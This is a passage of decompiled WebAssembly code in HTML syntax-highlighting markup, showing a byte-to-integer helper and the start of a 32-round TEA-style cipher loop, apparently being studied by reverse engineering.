</span>    <span class="hljs-keyword">i0</span> = (u<span class="hljs-number">32</span>)((s<span class="hljs-number">32</span>)<span class="hljs-keyword">i0</span> &gt;= (s<span class="hljs-number">32</span>)<span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>    l<span class="hljs-number">15</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">15</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = !(<span class="hljs-keyword">i0</span>)<span class="hljs-comment">;
</span>    if (<span class="hljs-keyword">i0</span>) {
      goto B<span class="hljs-number">2</span><span class="hljs-comment">;
</span>    }
    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">35</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">16</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">16</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = f<span class="hljs-number">9</span>(<span class="hljs-keyword">i0</span>)<span class="hljs-comment">;
</span>    l<span class="hljs-number">17</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">38</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">17</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i32</span>_store(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>), <span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">35</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">18</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">18</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">4</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">19</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">19</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = f<span class="hljs-number">9</span>(<span class="hljs-keyword">i0</span>)<span class="hljs-comment">;
</span>    l<span class="hljs-number">20</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">38</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">4</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">21</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">21</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">20</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i32</span>_store(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>), <span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">38</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">39</span><span class="hljs-comment">;
</span>    f<span class="hljs-number">10</span>(<span class="hljs-keyword">i0</span>, <span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">30</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">22</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">38</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>    l<span class="hljs-number">23</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">22</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">23</span><span class="hljs-comment">;
</span>    f<span class="hljs-number">11</span>(<span class="hljs-keyword">i0</span>, <span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">30</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">24</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">24</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">4</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">25</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">38</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">4</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">26</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">26</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>    l<span class="hljs-number">27</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">25</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">27</span><span class="hljs-comment">;
</span>    f<span class="hljs-number">11</span>(<span class="hljs-keyword">i0</span>, <span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">35</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">28</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">28</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">8</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">29</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">29</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">35</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">30</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">31</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">31</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">8</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">32</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">32</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">30</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">36</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">33</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">33</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">8</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> -= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">34</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">34</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">36</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    goto L<span class="hljs-number">1</span><span class="hljs-comment">;
</span>    B<span class="hljs-number">2</span>:<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">41</span><span class="hljs-comment">;
</span>  g<span class="hljs-number">10</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  goto Bfunc<span class="hljs-comment">;
</span>  Bfunc:<span class="hljs-comment">;
</span>  FUNC_EPILOGUE<span class="hljs-comment">;
</span>}

static u<span class="hljs-number">32</span> f<span class="hljs-number">9</span>(u<span class="hljs-number">32</span> p<span class="hljs-number">0</span>) {
  u<span class="hljs-number">32</span> l<span class="hljs-number">0</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">1</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">2</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">3</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">4</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">5</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">6</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">7</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">8</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">9</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">10</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">11</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">12</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">13</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">14</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">15</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">16</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">17</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">18</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">19</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">20</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">21</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">22</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">23</span> = <span class="hljs-number">0</span><span class="hljs-comment">;
</span>  FUNC_PROLOGUE<span class="hljs-comment">;
</span>  u<span class="hljs-number">32</span> <span class="hljs-keyword">i0</span>, <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = g<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">23</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = g<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">16</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  g<span class="hljs-number">10</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = g<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = g<span class="hljs-number">11</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = (u<span class="hljs-number">32</span>)((s<span class="hljs-number">32</span>)<span class="hljs-keyword">i0</span> &gt;= (s<span class="hljs-number">32</span>)<span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>  if (<span class="hljs-keyword">i0</span>) {
    <span class="hljs-keyword">i0</span> = <span class="hljs-number">16</span>u<span class="hljs-comment">;
</span>    (*Z_envZ_abortStackOverflowZ_vi)(<span class="hljs-keyword">i0</span>)<span class="hljs-comment">;
</span>  }
  <span class="hljs-keyword">i0</span> = p<span class="hljs-number">0</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">0</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">0</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">11</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">11</span><span class="hljs-comment">; l11=p0
</span>  <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load<span class="hljs-number">8</span>_s(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>  l<span class="hljs-number">15</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">15</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">255</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> &amp;= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">16</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">0</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">17</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">17</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">1</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">18</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">18</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load<span class="hljs-number">8</span>_s(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>  l<span class="hljs-number">19</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">19</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">255</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> &amp;= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">20</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">20</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">8</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> &lt;&lt;= (<span class="hljs-keyword">i1</span> &amp; <span class="hljs-number">31</span>)<span class="hljs-comment">;
</span>  l<span class="hljs-number">21</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">16</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = l<span class="hljs-number">21</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> |= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">1</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">0</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">2</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">2</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">2</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">3</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">3</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load<span class="hljs-number">8</span>_s(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>  l<span class="hljs-number">4</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">4</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">255</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> &amp;= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">5</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">5</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">16</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> &lt;&lt;= (<span class="hljs-keyword">i1</span> &amp; <span class="hljs-number">31</span>)<span class="hljs-comment">;
</span>  l<span class="hljs-number">6</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">1</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = l<span class="hljs-number">6</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> |= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">7</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">0</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">8</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">8</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">3</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">9</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">9</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load<span class="hljs-number">8</span>_s(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>  l<span class="hljs-number">10</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">255</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> &amp;= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">12</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">12</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">24</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> &lt;&lt;= (<span class="hljs-keyword">i1</span> &amp; <span class="hljs-number">31</span>)<span class="hljs-comment">;
</span>  l<span class="hljs-number">13</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">7</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = l<span class="hljs-number">13</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> |= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">14</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">23</span><span class="hljs-comment">;
</span>  g<span class="hljs-number">10</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">14</span><span class="hljs-comment">;
</span>  goto Bfunc<span class="hljs-comment">;
</span>  Bfunc:<span class="hljs-comment">;
</span>  FUNC_EPILOGUE<span class="hljs-comment">;
</span>  return <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>}

static void f<span class="hljs-number">10</span>(u<span class="hljs-number">32</span> p<span class="hljs-number">0</span>, u<span class="hljs-number">32</span> p<span class="hljs-number">1</span>) {
  u<span class="hljs-number">32</span> l<span class="hljs-number">0</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">1</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">2</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">3</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">4</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">5</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">6</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">7</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">8</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">9</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">10</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">11</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">12</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">13</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">14</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">15</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">16</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">17</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">18</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">19</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">20</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">21</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">22</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">23</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">24</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">25</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">26</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">27</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">28</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">29</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">30</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">31</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">32</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">33</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">34</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">35</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">36</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">37</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">38</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">39</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">40</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">41</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">42</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">43</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">44</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">45</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">46</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">47</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">48</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">49</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">50</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">51</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">52</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">53</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">54</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">55</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">56</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">57</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">58</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">59</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">60</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">61</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">62</span> = <span class="hljs-number">0</span><span class="hljs-comment">;
</span>  FUNC_PROLOGUE<span class="hljs-comment">;
</span>  u<span class="hljs-number">32</span> <span class="hljs-keyword">i0</span>, <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = g<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">62</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = g<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">32</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  g<span class="hljs-number">10</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = g<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = g<span class="hljs-number">11</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = (u<span class="hljs-number">32</span>)((s<span class="hljs-number">32</span>)<span class="hljs-keyword">i0</span> &gt;= (s<span class="hljs-number">32</span>)<span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>  if (<span class="hljs-keyword">i0</span>) {
    <span class="hljs-keyword">i0</span> = <span class="hljs-number">32</span>u<span class="hljs-comment">;
</span>    (*Z_envZ_abortStackOverflowZ_vi)(<span class="hljs-keyword">i0</span>)<span class="hljs-comment">;
</span>  }
  <span class="hljs-keyword">i0</span> = p<span class="hljs-number">0</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">10</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = p<span class="hljs-number">1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">21</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = <span class="hljs-number">2654435769</span>u<span class="hljs-comment">;
</span>  l<span class="hljs-number">32</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = <span class="hljs-number">0</span>u<span class="hljs-comment">;
</span>  l<span class="hljs-number">43</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = <span class="hljs-number">0</span>u<span class="hljs-comment">;
</span>  l<span class="hljs-number">54</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  L<span class="hljs-number">1</span>: 
    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">54</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">58</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">58</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">32</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i0</span> &lt; <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">59</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">59</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = !(<span class="hljs-keyword">i0</span>)<span class="hljs-comment">;
</span>    if (<span class="hljs-keyword">i0</span>) {
      goto B<span class="hljs-number">2</span><span class="hljs-comment">;
</span>    }
    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">32</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">60</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">43</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">0</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">60</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">1</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">43</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">10</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">2</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">2</span><span class="hljs-comment">;
